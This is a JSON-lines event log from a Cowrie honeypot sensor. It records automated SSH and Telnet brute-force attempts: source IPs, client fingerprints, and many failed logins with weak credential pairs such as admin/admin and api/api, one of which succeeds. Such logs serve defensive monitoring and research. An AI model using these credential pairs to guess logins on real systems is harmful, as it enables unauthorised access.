{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:54.815941Z","src_ip":"122.168.114.167","session":"934c16c42851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118088722229,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:55.356945Z","src_ip":"45.65.130.151","session":"3b6173e258b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":42260,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3d28ac7130","protocol":"ssh","message":"New connection: 148.216.28.11:42260 (159.203.135.109:22) [session: 1c3d28ac7130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:55.610546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:55.615466Z","src_ip":"148.216.28.11","session":"1c3d28ac7130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:55.682956Z","src_ip":"148.216.28.11","session":"1c3d28ac7130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"Admin@123","message":"login attempt [es/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:55.984075Z","src_ip":"148.216.28.11","session":"1c3d28ac7130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:57.054003Z","src_ip":"148.216.28.11","session":"1c3d28ac7130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.8","message":"Connection lost after 27.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:00.991962Z","src_ip":"122.168.114.167","session":"934c16c42851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.130.151","src_port":14953,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d869d7436c","protocol":"telnet","message":"New connection: 45.65.130.151:14953 (10.17.0.5:23) [session: f0d869d7436c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:03.422200Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40590,"dst_ip":"159.203.135.109","dst_port":22,"session":"db3c0989540c","protocol":"ssh","message":"New connection: 159.203.92.129:40590 (159.203.135.109:22) [session: db3c0989540c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:04.464126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:04.468814Z","src_ip":"159.203.92.129","session":"db3c0989540c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:04.475769Z","src_ip":"159.203.92.129","session":"db3c0989540c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"api","password":"api","message":"login attempt [api/api] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:04.486711Z","src_ip":"159.203.92.129","session":"db3c0989540c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:05.493242Z","src_ip":"159.203.92.129","session":"db3c0989540c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7cd884faae6","protocol":"ssh","message":"New connection: 103.228.69.212:59344 (159.203.135.109:22) [session: f7cd884faae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:07.031411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:07.035977Z","src_ip":"103.228.69.212","session":"f7cd884faae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:07.262010Z","src_ip":"103.228.69.212","session":"f7cd884faae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapadmin","password":"1234","message":"login attempt [mapadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:08.198927Z","src_ip":"103.228.69.212","session":"f7cd884faae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:09.429149Z","src_ip":"103.228.69.212","session":"f7cd884faae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60246,"dst_ip":"159.203.135.109","dst_port":22,"session":"f419489e23b7","protocol":"ssh","message":"New connection: 122.168.114.167:60246 (159.203.135.109:22) [session: f419489e23b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:12.897641Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":42514,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b67395e56c8","protocol":"ssh","message":"New connection: 69.6.221.248:42514 (159.203.135.109:22) [session: 2b67395e56c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:12.950977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:12.957628Z","src_ip":"69.6.221.248","session":"2b67395e56c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:13.071814Z","src_ip":"69.6.221.248","session":"2b67395e56c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123123","message":"login attempt [ts3/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:13.554964Z","src_ip":"69.6.221.248","session":"2b67395e56c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:14.670700Z","src_ip":"69.6.221.248","session":"2b67395e56c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":61668,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bc1666d04e7","protocol":"ssh","message":"New connection: 2.203.183.35:61668 (159.203.135.109:22) [session: 9bc1666d04e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:16.161795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:16.166699Z","src_ip":"2.203.183.35","session":"9bc1666d04e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:16.283074Z","src_ip":"2.203.183.35","session":"9bc1666d04e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"test","message":"login attempt [ftpadmin/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:16.829454Z","src_ip":"2.203.183.35","session":"9bc1666d04e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:17.976658Z","src_ip":"2.203.183.35","session":"9bc1666d04e7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:18.266509Z","src_ip":"122.168.114.167","session":"f419489e23b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:18.270639Z","src_ip":"122.168.114.167","session":"f419489e23b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41296,"dst_ip":"10.17.0.5","dst_port":22,"session":"c86b4f116e8b","protocol":"ssh","message":"New connection: 2.57.122.238:41296 (10.17.0.5:22) [session: c86b4f116e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:21.278739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:21.283457Z","src_ip":"2.57.122.238","session":"c86b4f116e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:21.383643Z","src_ip":"2.57.122.238","session":"c86b4f116e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:21.685918Z","src_ip":"2.57.122.238","session":"c86b4f116e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:22.788535Z","src_ip":"2.57.122.238","session":"c86b4f116e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24714,"dst_ip":"10.17.0.5","dst_port":22,"session":"a63e16cd0a03","protocol":"ssh","message":"New connection: 87.251.64.176:24714 (10.17.0.5:22) [session: a63e16cd0a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:36.826100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:36.833208Z","src_ip":"87.251.64.176","session":"a63e16cd0a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:36.930863Z","src_ip":"87.251.64.176","session":"a63e16cd0a03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:37.220778Z","src_ip":"87.251.64.176","session":"a63e16cd0a03","protocol":"ssh"}
